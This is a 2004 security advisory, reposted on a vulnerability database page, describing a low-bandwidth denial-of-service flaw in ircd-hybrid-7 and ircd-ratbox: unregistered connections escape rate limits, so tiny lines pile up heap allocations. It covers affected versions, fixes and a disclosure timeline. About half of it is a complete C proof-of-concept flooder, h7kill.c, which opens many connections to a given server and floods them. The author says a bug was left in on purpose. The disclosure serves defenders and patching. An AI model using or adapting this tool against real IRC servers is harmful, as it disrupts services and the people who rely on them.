Lucene search
K

ircd-hybrid.txt

🗓️ 22 Jun 2004 00:00:00Reported by Erik Sperling JohansenType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 27 Views

Low-bandwidth DoS vulnerability in ircd-hybrid and ircd-ratbox allows severe server lag.

Code
`Name : ircd-hybrid-7/ircd-ratbox low-bandwidth DoS  
Date : June 14th 2004  
Author : Erik Sperling Johansen <[email protected]>  
Severity : Medium  
  
This has been tested on most the ircd versions currently used on EFNet.  
Other ircds may be affected.  
  
Affected:   
ircd-hybrid <=7.0.1  
ircd-ratbox <=1.5.1  
ircd-ratbox <=2.0rc6  
Not Affected:  
ircd-hybrid 7.1-devel  
ircd-ratbox >=1.5.2  
ircd-ratbox >=2.0rc7  
ircd-hybrid 6  
csircd  
  
  
Outline:  
Due to faulty logic in the socket dequeuing mechanism used in hybrid 7   
and the derivated ircd-ratbox, it is possible to severely lag an irc   
server using a low-bandwidth DoS attack.   
  
  
Description:  
Client connections to the ircd are subject to a burstable rate limit,   
specified as messages per second, and implemented as a simple token   
bucket. This rate limit will cause a client to exit with an "Excess   
Flood" error if data is sent too fast. This rate limit is not used for   
connected servers, and more important; neither for connections that   
are not yet registered as a client or a server.  
  
Processing of received data is a 2-stage operation. First, data is   
read off ready sockets, split into lines and queued up in a "linebuf"   
linked list with buffers allocated from a blockheap. Each line will   
cause a 537-byte block of data to be allocated.  
  
Then, these lines are processed by parse_client_queued. If the sender   
is a server, there's no ratelimit, fine. If the sender is a client,   
there's a ratelimit leading to a closed connection if it's exceeded,   
works like a charm. If the sender is "Unknown", there's a fixed   
ratelimit of MAX_FLOOD (default 5) lines per main loop iteration. This  
ratelimit does not cause the connection to be closed if it is exceeded,  
processing is simply postponed until next main loop iteration.  
  
So, if you haven't registered, you're not subject to rate limits. Each  
line you send causes a 537 byte buffer to be allocated. Your lines are  
dequeued slowly. Starts to look like a possible memory exhaustion? Now,  
add to this that " \n" is considered a queueable line. Yep, 2 bytes   
sent cause a 537 byte heap block to be queued and way too slowly  
dequeued.   
  
  
Exploitation:  
The included app can make any of the vulnerable ircds severely lagged   
and often totally unresponsive, with usage of no more than 100-150K/sec   
bandwidth. The effects stay behind several minutes after the flooding   
connections have been terminated. No warnings are given with the default   
log levels of the affected ircds.  
  
  
Resolution:  
- Upgrade to hybrid-6 or csircd  
- Get the corrected ratbox-1.5.2 from http://www.ircd-ratbox.org  
- Get a hybrid-7.0.1 patch from   
http://www.ircd-hybrid.org/diff/unreg_limit.diff  
  
Timeline:  
Found june 13th.   
Developers informed june 14th. Patch made available immediately.  
Notified EFNet administration june 15th.  
Public release june 19th.  
  
  
Erik S. Johansen <[email protected]>  
  
einride@EFNet - co-admin irc.banetele.no  
  
  
-----h7kill.c-----  
  
// Proof of concept - remote ircd-hybrid-7/ircd-ratbox DoS  
//  
// ./kiddie-proofed - you'll need to correct a bug  
//   
// Tested on linux, should work with minor tweaks on other platforms  
//  
// -- Erik Sperling Johansen <[email protected]>  
  
#include <stdlib.h>  
#include <stdio.h>  
#include <sys/time.h>  
#include <sys/types.h>  
#include <sys/socket.h>  
#include <unistd.h>  
#include <netinet/in.h>  
#include <arpa/inet.h>  
#include <sys/signal.h>  
#include <sys/ioctl.h>  
#include <errno.h>  
#include <string.h>  
#include <time.h>  
  
int done = 0;  
  
  
void siginthandler(int x) {  
fprintf(stdout, "Exiting\n");  
done = 1;  
}  
void usage(const char * b) {  
fprintf(stderr, "%s ip port connectioncount\n", b);  
exit(1);  
}  
  
int makeconn(struct sockaddr_in * sin) {  
int s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);  
if (s < 0) {  
perror("socket");  
return -1;  
}  
int n=1;  
if (ioctl(s, FIONBIO, &n, sizeof(n))) {  
perror("ioctl");  
close(s);  
return -1;  
}   
errno = 0;  
if ((connect(s, (struct sockaddr *) sin, sizeof(sin)) == -1)   
&& (errno != EINPROGRESS)) {  
perror("connect");  
close(s);  
return -1;  
}  
return s;  
};  
  
int main(int argc, const char ** argv, const char ** envp) {  
fd_set wfd, rfd;  
FD_ZERO(&wfd);  
FD_ZERO(&rfd);  
if (argc != 4)  
usage(argv[0]);  
struct sockaddr_in sin;  
memset(&sin, 0, sizeof(sin));  
sin.sin_addr.s_addr = inet_addr(argv[1]);  
if (sin.sin_addr.s_addr == INADDR_NONE)  
usage(argv[0]);  
sin.sin_port = htons(atoi(argv[2]));  
sin.sin_family = AF_INET;  
int conncount = atoi(argv[3]);  
if ((conncount <= 0) || (conncount > FD_SETSIZE-5))  
usage(argv[0]);  
int * sockets = (int *) malloc(conncount * sizeof(int));  
int i, highsock = 0;  
char buf[65536];  
char dummy[65536];  
for (i=0; i<sizeof(buf)-1; i+=2) {  
buf[i] = ' ';  
buf[i+1] = '\n';  
}  
for (i = 0; i<conncount; ++i)  
sockets[i] = -1;  
highsock = -1;  
int CountConnects = 0, CountBytes = 0, CurCountBytes = 0;  
time_t Started = time(0), LastRep = time(0);  
signal(SIGPIPE, SIG_IGN);  
signal(SIGINT, siginthandler);  
while (!done) {  
fd_set w, r;  
if (highsock == -1) {  
for (i=0;i<conncount;++i) {  
if (sockets[i] < 0) {  
sockets[i] = makeconn(&sin);  
if (sockets[i] >= 0) {  
++CountConnects;  
FD_SET(sockets[i], &wfd);  
FD_SET(sockets[i], &rfd);  
}  
if (highsock < sockets[i])  
highsock = sockets[i];  
}  
}  
}  
memcpy(&w, &wfd, sizeof(w));  
memcpy(&r, &rfd, sizeof(r));  
struct timeval tv = { 1, 0 };  
int c = select(highsock+1, &r, &w, 0, &tv);  
for (i = 0; (i<conncount) && (c > 0); ++i) {  
if (sockets[i] >= 0) {  
if (FD_ISSET(sockets[i], &w)) {  
int bytes = send(sockets[i], buf, sizeof(buf), 0);  
if (bytes > 0) {  
CountBytes += bytes;  
CurCountBytes += bytes;  
} else {  
#ifndef NONOISE  
perror("send");  
#endif  
FD_CLR(sockets[i], &wfd);  
FD_CLR(sockets[i], &rfd);  
close(sockets[i]);  
#ifndef NONOISE  
fprintf(stdout, "(send) Lost conn on socket %i, reconnecting\n",   
sockets[i]);  
#endif  
sockets[i] = -1;  
highsock = -1;  
}  
}  
}  
if (sockets[i] >= 0) {  
if (FD_ISSET(sockets[i], &r)) {  
errno = 0;  
if (recv(sockets[i], dummy, sizeof(dummy), 0) <= 0) {  
#ifndef NONOISE  
perror("recv");  
#endif  
FD_CLR(sockets[i], &wfd);  
FD_CLR(sockets[i], &rfd);  
close(sockets[i]);  
#ifndef NONOISE  
fprintf(stdout, "(recv) Lost conn on socket %i, reconnecting\n",  
sockets[i]);  
#endif  
sockets[i] = -1;  
highsock = -1;  
}  
}  
}  
}  
  
if (time(0) - LastRep > 5) {  
fprintf(stdout, "%i connects made - Total: %i bytes, %li BPS - Last   
period: %i bytes, %li BPS\n", CountConnects, CountBytes, CountBytes /   
(time(0) - Started), CurCountBytes, CurCountBytes / (time(0) - LastRep));  
LastRep = time(0);  
CurCountBytes = 0;  
}  
}  
fprintf(stdout, "%i connects made - Total: %i bytes, %li BPS\n",   
CountConnects, CountBytes, CountBytes / (time(0) - Started));  
  
return 0;  
}  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation